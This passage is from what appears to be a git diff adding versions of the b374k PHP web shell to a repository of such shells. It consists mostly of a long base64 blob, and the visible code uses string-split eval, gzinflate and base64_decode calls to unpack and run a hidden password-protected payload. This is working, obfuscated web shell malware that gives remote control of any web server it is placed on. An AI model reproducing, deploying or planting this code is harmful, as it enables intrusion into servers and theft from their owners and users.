QIZBC/FnLluJz7Ok8gei46jCYmXyP9GGXg3j+j3wHBohhfp4erX8bkaEaOfo+NK6PmYPJSa3ZIGO0FLragFdrY2To3LI9XbiHzkLC/jn5758yXT/CtW1TJEG6QhFEjMZ/w+kEd0LYZqnEAERQYig10hg2mvYbuZ/8dd4TN5Rp1LOCUgG4Rew4BIC3hVDuGdwlRg92K0PYz3uN7Qx/8h7hJfKDICEsIElOk2DPI9OpwOpzxDvS66ROoussq3lEp7M5cJ6eb30QNDtiBCsHj/TBGIXy3+xoVCP5NdHAYKJdO8xQHKULRGjyR6T22c4WmhIJcfwNNeBXSpVi5jP1xnRhLfxMp49RoI+C8We7dhOs0jOtNdUUtg0/OJSI5742v8DbsLS0NRzwNuflAoRS4oxIuilPdDR53J87d9EMbswp7ig0WPS3pfY6+fXgWlQ3VL49O3brbg4iPn99en/cOaeBfFyuCUVxxtLH4RdXc4eOd+5ahE7bBTcxL3gundz59Kj8HtzL9Vj3bqDwzXvgdL/fRcPiD1vYvJlYcWMqDwedIzpvLO3L728ngYbVCUN4xlN/OLGVAu66dnQLT2W/Rrp/xVvsrG37+1nr4aAA8mXx9Yx234/VhLHB6OXy45MbIhEfrkyrjnYX3Xd51Ya+cuQ7dp/35p+/Vs2uECqfQsr52ua39s9fOv0EH6WKYPJ2p4jUNuqfPLSAhmRIjwMnSVM6UqI0d+RVMeg6fA1JzD+As/WM3+P5H0IPQIT3XEyPQFjsuz0rQowYg/x8=",$s_pass);?> \ No newline at end of file diff --git a/php/b374k/b374k-2.4.poly.php b/php/b374k/b374k-2.4.poly.php new file mode 100644 index 0000000..343c048 --- /dev/null +++ b/php/b374k/b374k-2.4.poly.php @@ -0,0 +1,12 @@ + \ No newline at end of file diff --git a/php/b374k/b374k-2.5.php b/php/b374k/b374k-2.5.php new file mode 100644 index 0000000..8770c85 --- /dev/null +++ b/php/b374k/b374k-2.5.php @@ -0,0 +1,12 @@ +".gz'.'inf'.'late'.'( bas'.'e64'.'_de'.'co'.'de($x)));');@$b374k("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